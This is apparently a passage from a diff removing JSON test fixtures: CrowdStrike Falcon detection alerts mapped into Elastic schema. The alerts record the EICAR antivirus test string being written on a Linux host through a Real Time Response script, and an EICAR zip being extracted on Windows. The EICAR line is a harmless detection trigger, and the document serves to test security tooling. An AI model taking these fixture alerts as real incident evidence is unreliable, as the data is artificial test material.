-                    "name": "cmd.exe"
-                },
-                "start": "2025-07-15T10:28:38.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930",
-                    "ce0219f7ab9077db1c089a48eaa82eb1"
-                ],
-                "hosts": [
-                    "dave-win10-3"
-                ],
-                "ip": [
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "win10_user3"
-                ]
-            },
-            "rule": {
-                "description": "For evaluation only - benign, no action needed.",
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "address": "10.0.0.13",
-                "ip": "10.0.0.13"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "GrandparentCommandLine": "falcon-sensor-bpf",
-                "GrandparentImageFileName": "falcon-sensor-bpf17804",
-                "GrandparentImageFilePath": "/opt/CrowdStrike/falcon-sensor-bpf17804",
-                "HostGroups": [
-                    "5b2e67ccb1de4ac0b1c49225c8fcb132"
-                ],
-                "MACAddress": "52-54-00-58-b6-5e",
-                "Objective": "Follow Through",
-                "ParentCommandLine": "/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": 30195,
-                "PlatformId": "3",
-                "PlatformName": "Linux",
-                "SensorId": "1d58fa2265b540b79cd057e8fa798e4d",
-                "Severity": 10,
-                "SeverityName": "Informational",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Execution",
-                "Technique": "User Execution",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "1d58fa2265b540b79cd057e8fa798e4d"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"1d58fa2265b540b79cd057e8fa798e4d\",\"AggregateId\":\"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364\",\"CommandLine\":\"/bin/bash -c printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com /bin/bash\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"bash\",\"FilePath\":\"/usr/bin/bash\",\"GrandParentCommandLine\":\"falcon-sensor-bpf\",\"GrandParentImageFileName\":\"falcon-sensor-bpf17804\",\"GrandParentImageFilePath\":\"/opt/CrowdStrike/falcon-sensor-bpf17804\",\"HostGroups\":\"5b2e67ccb1de4ac0b1c49225c8fcb132\",\"Hostname\":\"cs-elastic\",\"LocalIP\":\"192.168.64.5\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"52-54-00-58-b6-5e\",\"MD5String\":\"21cdb844225f8dc4ea6e9f80f9940a2b\",\"Name\":\"Attacker Methodology\",\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"/bin/bash --noprofile --norc -c #!/bin/bash\\n# SYNOPSIS\\n#    Run a bash script with specified command line and timeout\\n# DESCRIPTION\\n#   CrowdStrike Real Time Response command\\n# PARAMETER WD\\n#    Current working directory\\n# PARAMETER Param1\\n#    Script body - Required\\n# PARAMETER Param2\\n#    Command line sent to script\\n# PARAMETER Param3\\n#    Local path - path to local file to be used as script body\\n# PARAMETER Param4\\n#    Timeout in seconds\\n# NOTES\\n#    File Name  : runscript.sh\\n#    Contact    : support@crowdstrike.com\\n#    Copyright  : CrowdStrike 2020\\n# LINK\\n#    https://www.crowdstrike.com/\\n\\nset -euo pipefail\\nshopt -s extglob\\n\\ncommand=runscript\\n\\nfunction die\\n{\\n    echo \\\"$command: $1\\\" >&2\\n    exit 1\\n}\\n\\nfunction err_handler()\\n{\\n    # Rewrite the error message to remove the internal command prefix\\n    echo \\\"$command:${1#*cat:}\\\" >&2\\n}\\ntrap 'err_handler \\\"$script\\\"' ERR\\n\\nfunction get_arg() {\\n    eval set -- \\\"$1\\\"\\n    echo \\\"$@\\\"\\n}\\n\\nscript=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script=\\\"$1\\\"\\n    shift\\nfi\\n\\nscript_args=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script_args=\\\"$1\\\"\\n    shift\\nfi\\n\\n# following Windows behavior where HostPath clobbers Raw\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script_path=\\\"$(get_arg \\\"$1\\\")\\\"\\n    if [ -n \\\"$script_path\\\" ]; then\\n        script=\\\"$(/bin/cat \\\"$script_path\\\" 2>&1)\\\"\\n    fi\\n    shift\\nfi\\n\\ntimeout=60\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    if [ -n \\\"$1\\\" ]; then\\n        timeout=\\\"$1\\\"\\n    fi\\n    shift\\nfi\\n\\nif [ -z \\\"$script\\\" ]; then\\n    die \\\"Either -Raw or -HostPath must be specified\\\"\\nfi\\n\\nif [[ \\\"$timeout\\\" =~ .*[^0-9].* ]] || [ \\\"$timeout\\\" -eq 0 ]; then\\n    die \\\"Timeout must be a positive integer\\\"\\nfi\\n\\neval set -- \\\"$script_args\\\"\\n/bin/bash -c \\\"$script\\\" /bin/bash \\\"$@\\\" &\\npid=$!\\n\\nfunction get_time()\\n{\\n    sed -n '1s/\\\\([0-9]\\\\+\\\\)\\\\.\\\\([0-9][0-9]\\\\).*/\\\\1\\\\2/p' /proc/uptime\\n}\\n\\nstart_time=$(get_time)\\nlast_print_time=$start_time\\nwait_interval=0.1\\nprint_interval=5\\nresolution=100\\nwhile kill -0 $pid 2> /dev/null ; do\\n    current_time=$(get_time)\\n    if ((current_time - start_time >= timeout*resolution)); then\\n        kill -9 $pid >/dev/null 2>&1\\n        echo \\\"$command: Timed out waiting for script to exit\\\" >&2\\n        kill -9 -$$ >/dev/null 2>&1\\n    fi\\n    if ((current_time - last_print_time >= print_interval*resolution)); then\\n        printf %b '\\\\xe2\\\\x80\\\\x8b' # hex for unicode '\\\\u200b' for backward compatibility\\n        last_print_time=$current_time\\n    fi\\n    /bin/sleep $wait_interval\\ndone\\n /bin/bash printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com         \",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1751532935654264600,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":30195,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1751532935,\"ProcessId\":1751532935660927000,\"ProcessStartTime\":1751532935,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"root\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "directory": "/usr/bin",
-                "hash": {
-                    "md5": "21cdb844225f8dc4ea6e9f80f9940a2b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d"
-                },
-                "name": "bash",
-                "path": "/usr/bin/bash"
-            },
-            "host": {
-                "hostname": "cs-elastic",
-                "mac": [
-                    "52-54-00-58-B6-5E"
-                ],
-                "name": "cs-elastic"
-            },
-            "message": "A process has written a known EICAR test file. Review the files written by the triggered process.",
-            "process": {
-                "command_line": "/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash",
-                "end": "2025-07-03T08:55:35.000Z",
-                "entity_id": "1751532935660927000",
-                "executable": "/usr/bin/bash",
-                "name": "bash",
-                "parent": {
-                    "entity_id": "1751532935654264600",
-                    "executable": "/usr/bin/bash",
-                    "name": "bash"
-                },
-                "start": "2025-07-03T08:55:35.000Z",
-                "uptime": 0
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d",
-                    "21cdb844225f8dc4ea6e9f80f9940a2b"
-                ],
-                "hosts": [
-                    "cs-elastic"
-                ],
-                "ip": [
-                    "192.168.64.5"
-                ],
-                "user": [
-                    "root"
-                ]
-            },
-            "rule": {
-                "description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
-                "name": "Attacker Methodology"
-            },
-            "source": {
-                "address": "192.168.64.5",
-                "ip": "192.168.64.5"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "root"
-            }
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725",
-                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320",
-                "DataDomains": "Endpoint",
-                "ExternalApiType": "Event_EppDetectionSummaryEvent",
-                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "FilesAccessed": [
-                    {
-                        "FileName": "eicarcom2.zip",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads",
-                        "Timestamp": "2025-07-01T12:10:30.000Z"
-                    },
-                    {
-                        "FileName": "thumbcache_16.db",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                        "Timestamp": "2025-07-01T12:10:30.000Z"
-                    },
-                    {
-                        "FileName": "eicar_com.zip",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                        "Timestamp": "2025-07-01T12:10:30.000Z"
-                    },
-                    {
-                        "FileName": "thumbcache_idx.db",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                        "Timestamp": "2025-07-01T12:10:30.000Z"
-                    },
-                    {
-                        "FileName": "GLEAM-LIGHT.svg",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
-                        "Timestamp": "2025-07-01T12:10:35.000Z"
-                    },
-                    {
-                        "FileName": "GLEAM-DARK.svg",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
-                        "Timestamp": "2025-07-01T12:10:35.000Z"
-                    },
-                    {
-                        "FileName": "eicar_com.zip",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                        "Timestamp": "2025-07-01T12:10:41.000Z"
-                    },
-                    {
-                        "FileName": "eicar_com.zip",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                        "Timestamp": "2025-07-01T12:10:42.000Z"
-                    },
-                    {
-                        "FileName": "eicar_com.zip",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
-                        "Timestamp": "2025-07-01T12:10:43.000Z"
-                    },
-                    {
-                        "FileName": "iconcache_16.db",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
-                        "Timestamp": "2025-07-01T12:10:43.000Z"
-                    }
-                ],
-                "FilesWritten": [
-                    {
-                        "FileName": "eicar.com",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com",
-                        "Timestamp": "2025-07-01T12:10:43.000Z"
-                    },
-                    {
-                        "FileName": "The Internet.lnk",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                        "Timestamp": "2025-07-01T12:07:38.000Z"
-                    },
-                    {
-                        "FileName": "windowsdefender--threat-.lnk",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                        "Timestamp": "2025-07-01T12:07:38.000Z"
-                    },
-                    {
-                        "FileName": "The Internet.lnk",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                        "Timestamp": "2025-07-01T12:09:04.000Z"
-                    },
-                    {
-                        "FileName": "windowsdefender--threat-.lnk",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                        "Timestamp": "2025-07-01T12:09:04.000Z"
-                    },
-                    {
-                        "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk",
-                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
-                        "Timestamp": "2025-07-01T12:09:21.000Z"
-                    }
-                ],
-                "GrandparentCommandLine": "winlogon.exe",
-                "GrandparentImageFileName": "winlogon.exe",
-                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe",
-                "HostGroups": [
-                    "6b15afc3ea3a42ed810b5c163e490a9d"
-                ],
-                "MACAddress": "ba-d0-00-ba-d0-00",
-                "NetworkAccesses": [
-                    {
-                        "AccessTimestamp": 1751371565,
-                        "AccessType": 0,
-                        "ConnectionDirection": 0,
-                        "IsIPV6": false,
-                        "LocalAddress": "10.0.0.13",
-                        "LocalPort": 49729,
-                        "Protocol": "TCP",
-                        "RemoteAddress": "150.171.27.12",
-                        "RemotePort": 443
-                    },
-                    {
-                        "AccessTimestamp": 1751371565,
-                        "AccessType": 0,
-                        "ConnectionDirection": 0,
-                        "IsIPV6": false,
-                        "LocalAddress": "10.0.0.13",
-                        "LocalPort": 49730,
-                        "Protocol": "TCP",
-                        "RemoteAddress": "2.22.144.74",
-                        "RemotePort": 443
-                    },
-                    {
-                        "AccessTimestamp": 1751371787,
-                        "AccessType": 0,
-                        "ConnectionDirection": 0,
-                        "IsIPV6": false,
-                        "LocalAddress": "10.0.0.13",
-                        "LocalPort": 49948,
-                        "Protocol": "TCP",
-                        "RemoteAddress": "2.18.27.89",
-                        "RemotePort": 443
-                    }
-                ],
-                "Objective": "Follow Through",
-                "ParentCommandLine": "C:\\Windows\\system32\\userinit.exe",
-                "PatternDispositionDescription": "Detection, standard detection.",
-                "PatternDispositionFlags": {
-                    "BlockingUnsupportedOrDisabled": false,
-                    "BootupSafeguardEnabled": false,
-                    "ContainmentFileSystem": false,
-                    "CriticalProcessDisabled": false,
-                    "Detect": false,
-                    "FsOperationBlocked": false,
-                    "HandleOperationDowngraded": false,
-                    "InddetMask": false,
-                    "Indicator": false,
-                    "KillActionFailed": false,
-                    "KillParent": false,
-                    "KillProcess": false,
-                    "KillSubProcess": false,
-                    "OperationBlocked": false,
-                    "PolicyDisabled": false,
-                    "ProcessBlocked": false,
-                    "QuarantineFile": false,
-                    "QuarantineMachine": false,
-                    "RegistryOperationBlocked": false,
-                    "Rooting": false,
-                    "SensorOnly": false,
-                    "SuspendParent": false,
-                    "SuspendProcess": false
-                },
-                "PatternDispositionValue": 0,
-                "PatternId": 10418,
-                "PlatformId": "0",
-                "PlatformName": "Windows",
-                "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip",
-                "SensorId": "cff45d56127743a593792fb968dac907",
-                "Severity": 10,
-                "SeverityName": "Informational",
-                "SourceProducts": "Falcon Insight",
-                "SourceVendors": "CrowdStrike",
-                "Tactic": "Execution",
-                "Technique": "User Execution",
-                "Type": "ldt"
-            },
-            "device": {
-                "id": "cff45d56127743a593792fb968dac907"
-            },
-            "event": {
-                "category": [
-                    "malware"
-                ],
-                "kind": "alert",
-                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon 